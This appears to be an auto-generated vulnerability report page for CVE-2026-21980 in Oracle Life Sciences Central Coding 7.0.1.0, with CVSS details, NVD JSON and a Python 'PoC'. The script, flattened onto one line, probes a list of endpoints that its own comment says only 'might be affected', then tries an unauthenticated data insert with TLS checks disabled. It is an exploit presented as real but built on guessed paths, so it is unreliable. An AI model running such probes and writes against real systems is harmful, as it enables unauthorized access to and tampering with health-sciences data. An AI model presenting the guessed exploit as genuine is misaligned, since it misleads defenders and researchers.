Security Vulnerability Report
中文
CVE-2026-21980 CVSS 6.5 MEDIUM

CVE-2026-21980

Published: 2026-01-20 22:16:01
Last Modified: 2026-01-29 14:46:10

Description

Vulnerability in the Oracle Life Sciences Central Coding product of Oracle Health Sciences Applications (component: Platform). The supported version that is affected is 7.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Life Sciences Central Coding. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Life Sciences Central Coding accessible data as well as unauthorized read access to a subset of Oracle Life Sciences Central Coding accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:life_sciences_central_coding:7.0.1.0:*:*:*:*:*:*:* - VULNERABLE
Oracle Life Sciences Central Coding 7.0.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-21980 PoC - Oracle Life Sciences Central Coding Unauthorized Access # Target: Oracle Life Sciences Central Coding Platform Component def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-21980 This PoC attempts to access protected endpoints without authentication """ # Common endpoints that might be affected endpoints = [ "/api/platform/data", "/platform/api/v1/coding", "/api/v1/coding/entries", "/platform/data/export", "/api/coding/submissions" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*', 'Content-Type': 'application/json' } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-21980 - Oracle Life Sciences Central Coding Unauthorized Access") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Try to read data without authentication try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {url} - Status: {response.status_code}") print(f"[+] Response preview: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {url} - Status: {response.status_code}") else: print(f"[*] Endpoint: {url} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {str(e)}") # Try to modify data without authentication print("\n[*] Testing write operations without authentication...") write_endpoint = target_url.rstrip('/') + "/api/platform/data" payload = { "action": "insert", "data": {"test": "unauthorized_entry"} } try: response = requests.post(write_endpoint, json=payload, headers=headers, timeout=10, verify=False) if response.status_code in [200, 201, 204]: print(f"[+] VULNERABLE: Write operation successful - Status: {response.status_code}") else: print(f"[-] Write operation blocked - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error during write test: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21980-poc.py <target_url>") print("Example: python cve-2026-21980-poc.py https://target.example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21980", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:16:01.390", "lastModified": "2026-01-29T14:46:09.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Life Sciences Central Coding product of Oracle Health Sciences Applications (component: Platform). The supported version that is affected is 7.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Life Sciences Central Coding. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Life Sciences Central Coding accessible data as well as unauthorized read access to a subset of Oracle Life Sciences Central Coding accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Life Sciences Central Coding de Oracle Health Sciences Applications (componente: Platform). La versión soportada que está afectada es 7.0.1.0. Vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso de red vía HTTP comprometer Oracle Life Sciences Central Coding. Ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de actualización, inserción o eliminación a algunos de los datos accesibles de Oracle Life Sciences Central Coding, así como acceso de lectura no autorizado a un subconjunto de los datos accesibles de Oracle Life Sciences Central Coding. Puntuación Base CVSS 3.1 6.5 (impactos en la Confidencialidad e Integridad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:life_sciences_central_coding:7.0.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "46F6524B-01F2-4291-91DB-16BAEA412037"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}